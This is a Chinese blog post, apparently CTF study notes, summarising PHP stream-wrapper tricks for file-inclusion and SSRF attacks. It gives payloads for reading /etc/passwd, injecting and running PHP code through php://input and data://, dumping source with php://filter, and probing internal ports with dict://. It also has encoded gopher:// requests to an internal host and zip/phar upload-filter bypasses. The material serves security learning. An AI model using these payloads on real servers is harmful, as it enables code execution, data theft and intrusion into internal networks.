freopen's Blog

php伪协议总结

#web #PHP

file://协议

用来读取本地的文件

常见检测是否存在漏洞写法：

?file=file:///etc/passwd

此协议不受allow_url_fopen,allow_url_include配置影响

php://input协议

此协议一般用于输入getshell的代码。

使用方法：

在get处填上php://input如下

?cmd=php://input

在post处填上 PHP代码，如

<?php phpinfo();?>

此协议受allow_url_include配置影响

php://filter协议

此协议一般用来查看源码

一般用法如下

file=php://filter/read=convert.base64-encode/resource=index.php

此协议不受allow_url_fopen,allow_url_include配置影响

data://协议

需要allow_url_fopen,allow_url_include均为on

这是一个输入流执行的协议，它可以向服务器输入数据，而服务器也会执行。常用代码如下：

data://text/plain,<?php phpinfo();?>表示的是文本

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 若纯文本没用可用base64编码

dict://协议

可用于探测内网其他机器或本机开放的端口

dict://192.168.1.1:80/

gopher://协议

可用于GET提交,POST提交,redis, factcgi, sql 一般要用一些工具来进行构造payload 如gopherus等 基本格式:

gopher://<host>:<port>/<gopher-path>

注意:web需要加端口号80,因为gopher默认端口是70

数据提交

curl gopher://127.0.0.1:7777/_abcd

可发送abcd到服务器(下划线填充首位)

GET提交

需要保留的Header:

  1. 路径
  2. 目标ip
GET /name.php?name=benben HTTP/1.1
Host: 172.250.250.4

最后一定要加回车,发送请求需要二次编码

image-20260922103636766

payload:

gopher://172.250.250.4:80/_%25%34%37%25%34%35%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%33%66%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%32%25%36%35%25%36%65%25%36%32%25%36%35%25%36%65%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%61

POST提交

需要保留的Header:

  1. 路径
  2. 目标ip
  3. Content-Type
  4. Content-Length
POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

name=benben2222

payload:

gopher://172.250.250.4:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%31%25%33%35%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%32%25%36%35%25%36%65%25%36%32%25%36%35%25%36%65%25%33%32%25%33%32%25%33%32%25%33%32

zip://协议

zip://协议可以用来访问服务器中的压缩包，无论压缩包里面的文件是什么类型的都可以执行。也就是说如果服务器禁止我们上传php文件那么我们可以把php文件改后缀然后压缩再上传，然后用zip协议访问。要利用zip协议时一般要结合文件上传与文件包含两个漏洞

一般的代码为

?file=zip:///php.zip#phpinfo.jpg

其中的#号表示的是php.zip的子文件名。有时候#需要变成%23，url编码。

compress.bzip2://协议

与zip协议类似不过要压缩成bzip2格式的

compress.zlib://协议

与zip协议类似不过要压缩成zlib格式的

phar://协议

phar://协议与zip://协议类似，它也可以访问zip包，访问的格式与zip的不同，如下所示

http://127.0.0.1/include.php?
file=phar:///phpinfo.zip/phpinfo.txt
#这里用/隔开了子文件